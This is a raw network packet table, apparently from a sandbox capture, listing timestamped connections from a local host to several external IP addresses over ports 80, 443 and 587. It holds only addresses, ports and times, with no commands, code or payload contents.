Oct 14, 2024 09:12:10.445806980 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.445853949 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.445897102 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.445941925 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.445985079 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.446032047 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.446074009 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.446121931 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.446165085 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.446209908 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.446253061 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.446299076 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.446337938 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.446397066 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.446611881 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.446666002 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.446697950 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.446743965 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.446785927 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.446837902 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.446877003 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.446924925 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.446959972 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.447005987 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.447041035 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.447094917 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.447449923 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.447499037 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.447532892 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.447576046 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.447623014 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.447671890 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.447705984 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.447751999 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.447793007 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.447846889 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.447880983 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.447931051 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.448242903 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.448297977 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.448415041 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.448463917 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.448493958 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.448543072 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.453295946 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.453356981 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.453383923 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.453455925 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.453469038 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.453520060 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.453560114 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.453610897 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.453649998 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.453701019 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.453726053 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.453779936 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.458630085 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.458718061 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.458729982 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.458782911 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.458795071 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.458842993 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.458883047 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.458930969 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.459026098 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.459076881 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.459104061 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.459114075 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.459167004 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.970212936 CEST	49744	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:10.975205898 CEST	80	49744	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:10.978260040 CEST	49744	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:10.978410959 CEST	49744	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:10.983273029 CEST	80	49744	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:11.444911003 CEST	80	49744	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:11.449043036 CEST	49744	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:11.454850912 CEST	80	49744	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:11.559118032 CEST	80	49744	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:11.601627111 CEST	49744	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:11.993009090 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:11.993045092 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:11.993122101 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:11.995026112 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:11.995040894 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:12.468008995 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:12.468110085 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:12.522118092 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:12.522142887 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:12.523255110 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:12.570384026 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:12.587961912 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:12.635445118 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:12.695858002 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:12.695939064 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:12.696199894 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:12.759989023 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:12.768369913 CEST	49744	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:12.773870945 CEST	80	49744	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:12.878074884 CEST	80	49744	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:12.882086039 CEST	49756	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:12.882126093 CEST	443	49756	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:12.882205963 CEST	49756	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:12.882486105 CEST	49756	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:12.882503033 CEST	443	49756	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:12.929761887 CEST	49744	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:13.357738972 CEST	443	49756	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:13.359451056 CEST	49756	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:13.359479904 CEST	443	49756	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:13.508976936 CEST	443	49756	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:13.509216070 CEST	443	49756	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:13.509342909 CEST	49756	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:13.509639025 CEST	49756	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:13.512748003 CEST	49744	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:13.513854027 CEST	49762	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:13.518013000 CEST	80	49744	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:13.518083096 CEST	49744	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:13.518655062 CEST	80	49762	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:13.518728018 CEST	49762	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:13.518816948 CEST	49762	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:13.523611069 CEST	80	49762	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:14.017910004 CEST	80	49762	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:14.019112110 CEST	49768	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:14.019129038 CEST	443	49768	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:14.019196033 CEST	49768	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:14.019403934 CEST	49768	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:14.019412041 CEST	443	49768	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:14.070379972 CEST	49762	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:14.495891094 CEST	443	49768	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:14.497700930 CEST	49768	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:14.497744083 CEST	443	49768	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:14.647413969 CEST	443	49768	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:14.647536039 CEST	443	49768	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:14.647614002 CEST	49768	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:14.648058891 CEST	49768	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:14.652259111 CEST	49770	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:14.657108068 CEST	80	49770	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:14.657234907 CEST	49770	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:14.657296896 CEST	49770	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:14.662147999 CEST	80	49770	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:15.151238918 CEST	80	49770	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:15.152559042 CEST	49775	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:15.152585983 CEST	443	49775	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:15.152645111 CEST	49775	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:15.152879000 CEST	49775	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:15.152892113 CEST	443	49775	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:15.195425034 CEST	49770	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:15.650916100 CEST	443	49775	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:15.652482033 CEST	49775	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:15.652517080 CEST	443	49775	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:15.772799969 CEST	443	49775	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:15.773067951 CEST	443	49775	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:15.773154974 CEST	49775	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:15.773439884 CEST	49775	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:15.776731968 CEST	49770	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:15.777647972 CEST	49781	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:15.784224033 CEST	80	49781	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:15.784252882 CEST	80	49770	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:15.784342051 CEST	49770	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:15.784359932 CEST	49781	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:15.784436941 CEST	49781	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:15.790250063 CEST	80	49781	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:16.258533001 CEST	80	49781	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:16.260337114 CEST	49783	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:16.260377884 CEST	443	49783	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:16.260448933 CEST	49783	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:16.261271000 CEST	49783	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:16.261286020 CEST	443	49783	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:16.304733992 CEST	49781	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:16.774678946 CEST	443	49783	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:16.779863119 CEST	49783	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:16.779894114 CEST	443	49783	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:16.929192066 CEST	443	49783	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:16.929439068 CEST	443	49783	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:16.929531097 CEST	49783	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:16.930063009 CEST	49783	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:16.934576035 CEST	49788	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:16.934622049 CEST	49781	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:16.939408064 CEST	80	49788	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:16.939768076 CEST	80	49781	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:16.939889908 CEST	49781	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:16.940207005 CEST	49788	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:16.940207005 CEST	49788	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:16.944979906 CEST	80	49788	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:17.414257050 CEST	80	49788	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:17.415906906 CEST	49794	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:17.415941000 CEST	443	49794	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:17.416023016 CEST	49794	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:17.416277885 CEST	49794	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:17.416289091 CEST	443	49794	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:17.461117029 CEST	49788	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:17.901920080 CEST	443	49794	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:17.903697014 CEST	49794	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:17.903727055 CEST	443	49794	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:18.040998936 CEST	443	49794	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:18.041251898 CEST	443	49794	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:18.041321993 CEST	49794	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:18.041593075 CEST	49794	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:18.044970989 CEST	49788	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:18.045476913 CEST	49800	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:18.050110102 CEST	80	49788	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:18.050188065 CEST	49788	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:18.050287008 CEST	80	49800	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:18.050348043 CEST	49800	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:18.050544977 CEST	49800	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:18.055418015 CEST	80	49800	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:18.514950991 CEST	80	49800	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:18.516011953 CEST	49802	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:18.516035080 CEST	443	49802	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:18.516108990 CEST	49802	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:18.516325951 CEST	49802	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:18.516338110 CEST	443	49802	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:18.570375919 CEST	49800	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:18.988104105 CEST	443	49802	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:18.989988089 CEST	49802	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:18.990010023 CEST	443	49802	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:19.118465900 CEST	443	49802	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:19.118710995 CEST	443	49802	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:19.118848085 CEST	49802	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:19.119079113 CEST	49802	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:19.122463942 CEST	49800	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:19.123595953 CEST	49808	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:19.128007889 CEST	80	49800	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:19.128057957 CEST	49800	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:19.128448009 CEST	80	49808	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:19.128521919 CEST	49808	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:19.128623962 CEST	49808	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:19.133357048 CEST	80	49808	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:19.622350931 CEST	80	49808	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:19.623522997 CEST	49812	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:19.623552084 CEST	443	49812	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:19.624001026 CEST	49812	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:19.624214888 CEST	49812	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:19.624228001 CEST	443	49812	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:19.664123058 CEST	49808	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:20.100596905 CEST	443	49812	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:20.103559971 CEST	49812	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:20.103575945 CEST	443	49812	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:20.226279020 CEST	443	49812	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:20.226506948 CEST	443	49812	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:20.226564884 CEST	49812	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:20.226839066 CEST	49812	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:20.229708910 CEST	49808	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:20.230606079 CEST	49816	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:20.235276937 CEST	80	49808	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:20.235347033 CEST	49808	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:20.235424995 CEST	80	49816	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:20.235493898 CEST	49816	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:20.235567093 CEST	49816	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:20.240483046 CEST	80	49816	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:20.709753990 CEST	80	49816	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:20.710860014 CEST	49821	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:20.710906029 CEST	443	49821	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:20.710995913 CEST	49821	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:20.711425066 CEST	49821	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:20.711461067 CEST	443	49821	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:20.757869005 CEST	49816	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:21.205307007 CEST	443	49821	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:21.206782103 CEST	49821	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:21.206825972 CEST	443	49821	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:21.359824896 CEST	443	49821	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:21.360049963 CEST	443	49821	188.114.96.3	192.168.2.4
Oct 14, 2024 09:12:21.360120058 CEST	49821	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:21.360369921 CEST	49821	443	192.168.2.4	188.114.96.3
Oct 14, 2024 09:12:21.387588024 CEST	49816	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:21.393210888 CEST	80	49816	193.122.130.0	192.168.2.4
Oct 14, 2024 09:12:21.393274069 CEST	49816	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:21.395117998 CEST	49827	443	192.168.2.4	149.154.167.220
Oct 14, 2024 09:12:21.395145893 CEST	443	49827	149.154.167.220	192.168.2.4
Oct 14, 2024 09:12:21.395201921 CEST	49827	443	192.168.2.4	149.154.167.220
Oct 14, 2024 09:12:21.395572901 CEST	49827	443	192.168.2.4	149.154.167.220
Oct 14, 2024 09:12:21.395586967 CEST	443	49827	149.154.167.220	192.168.2.4
Oct 14, 2024 09:12:22.052506924 CEST	443	49827	149.154.167.220	192.168.2.4
Oct 14, 2024 09:12:22.052586079 CEST	49827	443	192.168.2.4	149.154.167.220
Oct 14, 2024 09:12:22.054234028 CEST	49827	443	192.168.2.4	149.154.167.220
Oct 14, 2024 09:12:22.054240942 CEST	443	49827	149.154.167.220	192.168.2.4
Oct 14, 2024 09:12:22.054725885 CEST	443	49827	149.154.167.220	192.168.2.4
Oct 14, 2024 09:12:22.066978931 CEST	49827	443	192.168.2.4	149.154.167.220
Oct 14, 2024 09:12:22.111409903 CEST	443	49827	149.154.167.220	192.168.2.4
Oct 14, 2024 09:12:22.311306953 CEST	443	49827	149.154.167.220	192.168.2.4
Oct 14, 2024 09:12:22.311520100 CEST	443	49827	149.154.167.220	192.168.2.4
Oct 14, 2024 09:12:22.311585903 CEST	49827	443	192.168.2.4	149.154.167.220
Oct 14, 2024 09:12:22.313596964 CEST	49827	443	192.168.2.4	149.154.167.220
Oct 14, 2024 09:12:28.828576088 CEST	49762	80	192.168.2.4	193.122.130.0
Oct 14, 2024 09:12:29.093158960 CEST	49873	587	192.168.2.4	213.165.67.118
Oct 14, 2024 09:12:29.098120928 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:29.098208904 CEST	49873	587	192.168.2.4	213.165.67.118
Oct 14, 2024 09:12:29.837857962 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:29.838051081 CEST	49873	587	192.168.2.4	213.165.67.118
Oct 14, 2024 09:12:29.843002081 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:30.060738087 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:30.060990095 CEST	49873	587	192.168.2.4	213.165.67.118
Oct 14, 2024 09:12:30.289165020 CEST	49873	587	192.168.2.4	213.165.67.118
Oct 14, 2024 09:12:30.386837006 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:30.386914968 CEST	49873	587	192.168.2.4	213.165.67.118
Oct 14, 2024 09:12:30.387809038 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:30.387928963 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:30.580526114 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:30.580962896 CEST	49873	587	192.168.2.4	213.165.67.118
Oct 14, 2024 09:12:30.585810900 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:30.781115055 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:30.781133890 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:30.781146049 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:30.781152964 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:30.781254053 CEST	49873	587	192.168.2.4	213.165.67.118
Oct 14, 2024 09:12:30.783412933 CEST	49873	587	192.168.2.4	213.165.67.118
Oct 14, 2024 09:12:30.788316965 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:31.219680071 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:31.219809055 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:31.219896078 CEST	49873	587	192.168.2.4	213.165.67.118
Oct 14, 2024 09:12:31.222852945 CEST	49873	587	192.168.2.4	213.165.67.118
Oct 14, 2024 09:12:31.429858923 CEST	49873	587	192.168.2.4	213.165.67.118
Oct 14, 2024 09:12:31.458869934 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:31.458944082 CEST	49873	587	192.168.2.4	213.165.67.118
Oct 14, 2024 09:12:31.459331036 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:31.459464073 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:31.652228117 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:31.652529001 CEST	49873	587	192.168.2.4	213.165.67.118
Oct 14, 2024 09:12:31.657577991 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:31.850452900 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:31.850883961 CEST	49873	587	192.168.2.4	213.165.67.118
Oct 14, 2024 09:12:31.855761051 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:32.074440002 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:32.082768917 CEST	49873	587	192.168.2.4	213.165.67.118
Oct 14, 2024 09:12:32.087707996 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:32.283174038 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:32.283409119 CEST	49873	587	192.168.2.4	213.165.67.118
Oct 14, 2024 09:12:32.288336992 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:32.488338947 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:32.488759995 CEST	49873	587	192.168.2.4	213.165.67.118
Oct 14, 2024 09:12:32.493623018 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:32.686764002 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:32.687603951 CEST	49873	587	192.168.2.4	213.165.67.118
Oct 14, 2024 09:12:32.687603951 CEST	49873	587	192.168.2.4	213.165.67.118
